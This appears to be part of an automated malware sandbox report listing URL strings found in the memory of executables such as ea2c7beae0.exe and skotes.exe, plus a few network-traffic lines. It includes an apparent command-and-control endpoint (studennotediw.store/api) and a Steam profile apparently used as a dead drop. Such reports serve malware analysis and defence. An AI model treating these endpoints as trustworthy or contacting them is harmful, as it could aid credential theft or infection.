Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443518589.0000000001038000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.000000000168D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680736225.000000000168D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680934463.00000000016F0000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764879764.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: skotes.exe, 0000000D.00000002.2680736225.000000000168D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443518589.0000000001038000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764879764.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443518589.0000000001038000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: ea2c7beae0.exe, 0000000B.00000003.2587521700.0000000000A29000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587799126.0000000000A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/765611997243319001
Source: ea2c7beae0.exe, 00000007.00000003.2443518589.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900t
Source: ea2c7beae0.exe, 00000010.00000003.2764879764.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/sG
Source: ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: skotes.exe, 0000000D.00000003.2668339801.0000000001676000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680736225.0000000001676000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/765611997243319007
Source: ea2c7beae0.exe, 0000000B.00000003.2587521700.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2620311804.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2813780457.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2684577632.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2664262344.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2640348018.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587799126.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2623251409.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2641351631.0000000000A15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900Ud
Source: ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: ea2c7beae0.exe, 00000007.00000003.2443701449.0000000001084000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680736225.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd883ccb3237fa39
Source: ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443518589.0000000001038000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.000000000168D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680736225.000000000168D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680934463.00000000016F0000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764879764.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: ea2c7beae0.exe, 00000007.00000002.2464806930.0000000001083000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampoweredX
Source: ea2c7beae0.exe, 00000010.00000003.2740761284.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://studennotediw.store/api
Source: skotes.exe, 0000000D.00000003.2668339801.0000000001676000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680736225.0000000001676000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://studennotediw.store:443/api
Source: ea2c7beae0.exe, 0000000B.00000003.2587521700.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2620311804.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2813780457.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2684577632.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2664262344.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2640348018.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587799126.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2623251409.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2641351631.0000000000A15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://studennotediw.store:443/api:d
Source: ea2c7beae0.exe, 0000000B.00000003.2603901519.000000000551E000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2785260915.00000000053B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: ea2c7beae0.exe, 00000010.00000003.2816630872.000000000547C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: ea2c7beae0.exe, 00000010.00000003.2816630872.000000000547C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: ea2c7beae0.exe, 0000000B.00000003.2603997496.0000000005515000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2603901519.000000000551C000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2785413689.00000000053AA000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2785260915.00000000053B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: ea2c7beae0.exe, 0000000B.00000003.2603997496.00000000054F0000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2785413689.0000000005385000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: ea2c7beae0.exe, 0000000B.00000003.2603997496.0000000005515000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2603901519.000000000551C000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2785413689.00000000053AA000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2785260915.00000000053B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: ea2c7beae0.exe, 0000000B.00000003.2603997496.00000000054F0000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2785413689.0000000005385000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: ea2c7beae0.exe, 00000010.00000003.2817250270.0000000005375000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: ea2c7beae0.exe, 00000007.00000003.2461981154.00000000010C9000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587799126.0000000000A0E000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587460635.0000000000A5B000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764879764.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2894096560.0000000000829000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: ea2c7beae0.exe, 00000007.00000003.2461981154.00000000010C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/a
Source: ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2785733963.000000000083D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2786592123.000000000083D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2799731430.000000000083D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/acc
Source: ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2785733963.000000000083D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2786592123.000000000083D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2799731430.000000000083D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/accHH3
Source: ea2c7beae0.exe, 0000000B.00000003.2620311804.0000000000A29000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2640348018.0000000000A29000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2813780457.0000000000A29000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587521700.0000000000A29000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2623251409.0000000000A29000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2641351631.0000000000A29000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2664262344.0000000000A29000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2684577632.0000000000A29000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587799126.0000000000A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/acces
Source: ea2c7beae0.exe, 0000000B.00000003.2587799126.0000000000A0E000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764879764.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: ea2c7beae0.exe, 0000000B.00000003.2604502304.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2604288546.00000000054EF000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2785893107.0000000005384000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2786052209.000000000536D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: ea2c7beae0.exe, 00000010.00000003.2817250270.0000000005375000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: ea2c7beae0.exe, 0000000B.00000003.2604502304.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2604288546.00000000054EF000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2785893107.0000000005384000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2786052209.000000000536D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: ea2c7beae0.exe, 00000010.00000003.2816630872.000000000547C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: ea2c7beae0.exe, 00000010.00000003.2816630872.000000000547C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: ea2c7beae0.exe, 0000000B.00000003.2643177611.00000000055E2000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2816630872.000000000547C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: ea2c7beae0.exe, 00000010.00000003.2816630872.000000000547C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: ea2c7beae0.exe, 0000000B.00000003.2643177611.00000000055E2000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2816630872.000000000547C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.000000000168D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680736225.000000000168D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680934463.00000000016F0000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: 8X6R8OO7U6CNLMSAL.exe, 00000015.00000002.2921279103.0000000000D58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdY

Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
